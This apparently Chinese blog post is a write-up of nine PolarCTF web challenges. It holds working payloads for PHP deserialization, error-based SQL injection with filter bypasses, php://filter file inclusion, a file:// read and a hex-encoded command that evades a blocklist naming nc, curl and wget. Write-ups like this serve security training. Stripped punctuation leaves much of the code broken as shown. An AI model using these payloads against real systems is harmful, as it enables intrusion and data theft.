polar-web部分中等题目

发布时间:2026/5/20 0:02:47

polar-web部分中等题目 1.随机值?phpinclude flag.php;class Index{private $Polar1;private $Polar2;protected $Night;protected $Light;function getflag($flag){$Polar2 rand(0,100);if($this-Polar1 $this-Polar2){$Light rand(0,100);if($this-Night $this-Light){echo $flag;}}else{echo Your wrong!!!;}}}if(isset($_GET[sys])){$a unserialize($_GET[sys]);$a-getflag($flag);}else{highlight_file(index.php);}?代码审计:这是个反序列化加强比较的问题关键点就是Index 类的 4 个属性private $Polar1;private $Polar2;protected $Night;protected $Light;比较条件getflag 函数第一步$this-Polar1 $this-Polar2第二步$this-Night $this-Light绕过方法让 Polar1 和 Polar2 相等且类型相同比如全为 null让 Night 和 Light 相等且类型相同也全为 null。反序列化构造不需要处理 private/protected 的属性名里的 \x00只需要直接用普通字符串写属性名PHP 会自动映射到正确的属性上因为 unserialize 可以接受这种简化格式如果 classes 匹配。你的 Payload 正好做到了O:5:Index:4:{s:6:Polar1;N;s:6:Polar2;N;s:5:Night;N;s:5:Light;N;}触发通过 GET 参数 sys 传递 Payload?sysO:5:Index:4:{s:6:Polar1;N;s:6:Polar2;N;s:5:Night;N;s:5:Light;N;}最后得到flag:flag{d81f9c1be2e08964bf9f24b15f0e4900}2.phpurl下载附件内容如下在某次渗透测试中红队使用网站目录探测工具发现网站源码泄漏该文件名疑似名被加密aW5kZXgucGhwcw。base64解码拿到index.phps访问http://a4afc641-7c5f-4ad6-a715-b52210cc0a73.www.polarctf.com:8090/index.phps?phpif(xxs$_GET[sys]) {echo(pNot a good idea!/p);exit();}$_GET[sys] urldecode($_GET[sys]);if($_GET[sys] xxs){echo pWelcome to polar LABS!/p;echo pFlag: XXXXXXX /p;}?代码审计:$_GET[sys] urldecode($_GET[sys]);if($_GET[sys] xxs){echo pWelcome to polar LABS!/p;echo pFlag: XXXXXXX /p;}重点就是这个先要强比较后弱比较直接让xxs以urlcode编码再用get方式传参进去就行只要让sys不等于xxs就行可以直接编码后面再urlcode编码就应该可以%25%37%38%25%37%38%25%37%33(双重编码)3.search一般的sql注入第一步是先看注入点测试1?id1 and 11--原始查询SELECT * FROM users WHERE id 1 LIMIT 1注入后 SELECT * FROM users WHERE id 1 and 11-- LIMIT 1and 11 永远为真-- 是SQL注释后面的内容被忽略 在URL中通常被编码为空格预期结果页面正常显示ID1的内容测试2?id1 and 12--SELECT * FROM users WHERE id 1 and 12-- LIMIT 1and 12 永远为假预期结果页面不显示任何内容或显示不同测试看是否带有单引号双引号当输入 1 时应用返回了详细的 MySQL 错误信息这暴露了数据库类型MySQL查询结构使用了 LIMIT 1过滤机制应用可能添加了额外的引号然后用order by来查询列数先确定字段数1 order by 1-- -- 正常1 order by 2-- -- 正常1 order by 3-- -- 正常1 order by 4-- -- 如果报错说明只有3个字段\可能有空格的过滤用/**/对于空格的补充1/**/order/**/by/**/1--(1/**/order/**/by/**/1#)最后发现列数为5然后使用报错查询其中的数据库资料UpdateXml函数详解updatexml(XML_document, XPath_string, new_value)三个参数1第一个参数随便写只要格式正确concat(0x7e,database(),0x7e)XPath表达式故意让它错误1第三个参数随便写1/**/and/**/updatexml(1,concat(0x7e,database(),0x7e),1)# # 获取数据库名 1/**/and/**/updatexml(1,concat(0x7e,(database()),0x7e),1)# # 获取版本 1/**/and/**/updatexml(1,concat(0x7e,(version()),0x7e),1)# # 获取当前用户 1/**/and/**/updatexml(1,concat(0x7e,(user()),0x7e),1)#再尝试大写的UPDATEXML1/**/and/**/UPDATEXML(1,concat(0x7e,database(),0x7e),1)#出现了Error executing query: XPATH syntax error: ~CTF~成功获取到数据库名CTF然后去尝试得到表列的数据尝试直接获取所有表的数据1 and UPDATEXML(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schemaCTF),0x7e),1)#大小写混写:1/**/and/**/UpdateXml(1,Concat(0x7e,(SelEct/**/group_Concat(Table_name)From/**/information_schema.tables/**/Where/**/table_schemadatabase()),0x7e),1)#然后再去里面得到Flag的信息1/**/and/**/UpdateXml(1,Concat(0x7e,(SelEct/**/group_Concat(Column_name)From/**/information_schema.columns/**/Where/**/table_nameFlag/**/and/**/table_schemadatabase()),0x7e),1)#1/**/and/**/UpdateXml(1,Concat(0x7e,(Select/**/group_Concat(Flag)/**/From/**/Flag),0x7e),1)#截取长度1/**/and/**/UpdateXml(1,Concat(0x7e,(Select/**/substr((group_Concat(Flag)),1,31)/**/From/**/Flag),0x7e),1)#flag{Polar_CTF_426891370wxbglbn1/**/and/**/UpdateXml(1,Concat(0x7e,(Select/**/substr((group_Concat(Flag)),32,60)/**/From/**/Flag),0x7e),1)#Error executing query: XPATH syntax error: ~fwaq}~最后拼接:flag{Polar_CTF_426891370wxbglbnfwaq}总结:4.filedir扫描然后上传图片码或者直接上传一句话木马但是要修改type值就能得到flag5.PlayGame?php /* PolarDN CTF */ class User{ public $name; public $age; public $sex; public function __toString() { return name:.$this-name.age:.$this-age.sex:.$this-sex; } public function setName($name){ $this-name$name; } public function setAge($age){ $this-$age$age; } public function setSex($sex){ $this-$sex$sex; } } class PlayGame{ public $user; public $gameFile./game; public function openGame(){ return file_get_contents($this-gameFile); } public function __destruct() { echo $this-user-name.GameOver!; } public function __toString(){ return $this-user-name.PlayGame . $this-user-age . $this-openGame(); } } if(isset($_GET[polar_flag.flag])){ unserialize($_GET[polar_flag.flag]); }else{ highlight_file(__FILE__); }完整的链子应该是外层的 PlayGame.__destruct() ↓ echo $this-user # 如果 $this-user 是 PlayGame 对象 ↓ 内层的 PlayGame.__toString() ↓ 内层的 PlayGame.openGame() # 读文件PlayGame.__destruct - User.__toString - PlayGame.__toString - PlayGame.openGame()最后ai出来就是?polar[flag.flagO:8:PlayGame:2:{s:4:user;O:4:User:3:{s:4:name;O:8:PlayGame:2:{s:4:user;N;s:8:gameFile;s:5:/flag;}s:3:age;N;s:3:sex;N;}s:8:gameFile;N;}flag{bcbad1a16895974105e8450b8a7b5bf2}6.csdn/index.php/index.php?xxshttps://blog.csdn.net/这是个xxs跳转然后他说!-- 偷偷告诉你,flag在flag目录下的flag.txt中 --直接xxs到flag.txt中view-source:http://e016a46c-43d2-4c3b-82f7-77f473c31a75.www.polarctf.com:8090/index.php/index.php?xxsfile:///flag.txtflag{4787370fb09bd230f863731d2ffbff6a}7.Dragoncookie值:flag{72077a551386b19fb1aea77814cd41af}8.tnl看到了相似的输入框再去看看cookie等值发现没有然后尝试输入123当我输入3的时候You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near twothree at line 1输入1 or 11和1 or 12输入1 or 11 和1 or 12输入1 or 11和1 or 12都是同样的页面我觉得应该不是sql注入再去尝试xss注入scriptalert(XSS)/script也没有实在没辙了dir扫一扫然后去访问发现没有回显那就伪协议直接用twothreephp://filter/readconvert.base64-encode/resourceflag.php发现没反应就挨着挨着试试twothreephp://filter/readconvert.base64-encode/resourceindex!DOCTYPE htmlhtml langenheadmeta charsetUTF-8meta nameviewport contentwidthdevice-width, initial-scale1.0title这题不难哦/titlestylebody {font-family: Segoe UI, Tahoma, Geneva, Verdana, sans-serif;background-color: #f3f3f3;margin: 0;display: flex;align-items: center;justify-content: center;height: 100vh;}form {background-color: #fff;border-radius: 8px;box-shadow: 0 0 20px rgba(0, 0, 0, 0.1);padding: 20px;max-width: 400px;width: 100%;box-sizing: border-box;transition: transform 0.3s ease-in-out;}form:hover {transform: scale(1.02);}label {display: block;margin-bottom: 10px;color: #333;font-size: 16px;}input {width: calc(100% - 16px);padding: 12px;margin-bottom: 20px;box-sizing: border-box;border: 1px solid #ccc;border-radius: 4px;font-size: 14px;}input[typesubmit] {background-color: #4caf50;color: white;cursor: pointer;font-size: 16px;}input[typesubmit]:hover {background-color: #45a049;}.error {color: red;margin-top: 15px;font-size: 14px;}/* Background Style */body {background-image: url(back.jpg);background-size: cover;background-position: center;background-attachment: fixed;}/style/headbodyform action methodpostlabel fortwothreePlease input your ID:/labelinput typetext idtwothree nametwothree requiredbrinput typesubmit valueSubmit/form?phperror_reporting(0);$file $_POST[twothree];if(isset($file)){if( strpos( $file, 1 ) ! false || strpos( $file, 2 ) ! false || strpos( $file, index)){include ($file . .php);}else{echo You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near twothree at line 1;}}?源码分析$file $_POST[twothree]; // 从 POST 获取参数 if(isset($file)) { // 检查是否包含 1 或 2 或 index if( strpos( $file, 1 ) ! false || strpos( $file, 2 ) ! false || strpos( $file, index)) { include ($file . .php); // 自动加上 .php 后缀 } else { // 显示那个 SQL 错误作为欺骗 echo You have an error in your SQL syntax...; }必须是 POST 请求不能用 GET文件名必须包含 1 或 2 或 index才能通过检查自动添加.php后缀那个 SQL 错误信息是假的用来误导人twothreephp://filter/convert.base64-encode/index/resourceflag这道题过于抽象了flag{29dba9019e40d75a5053b15f4f2906e1}9.你知道sys还能这样玩吗进入http://43c12804-c9cb-4c38-b8b5-4b900ccf01b3.www.polarctf.com:8090/sys.php?phpshow_source(__FILE__);if(isset($_POST[cmd])){echo pre;$cmd $_POST[cmd];if (!preg_match(/ls|dir|nl|nc|cat|tail|more|flag|sh|cut|awk|strings|od|curl|\*|sort|ch|zip|mod|sl|find|sed|cp|mv|ty|grep|fd|df|sudo|more|cc|tac|less|head|\.|{|}|tar|zip|gcc|uniq|vi|vim|file|xxd|base64|date|bash|env|\?|wget/i, $cmd)) {$output system($cmd);echo $output;}echo /pre;}?代码审计:当看到限制了这么多命令的时候只有想着进制转换cmdphp -r system(hex2bin(636174202f666c61672e747874));PHP 执行 hex2bin(636174202f666c61672e747874) → 得到 cat /flag.txtPHP 执行 system(cat /flag.txt) → 读取 flag 文件输出文件内容flag{196b0f14eba66e10fba74dbf9e99c22f}第一页的中等题目

相关新闻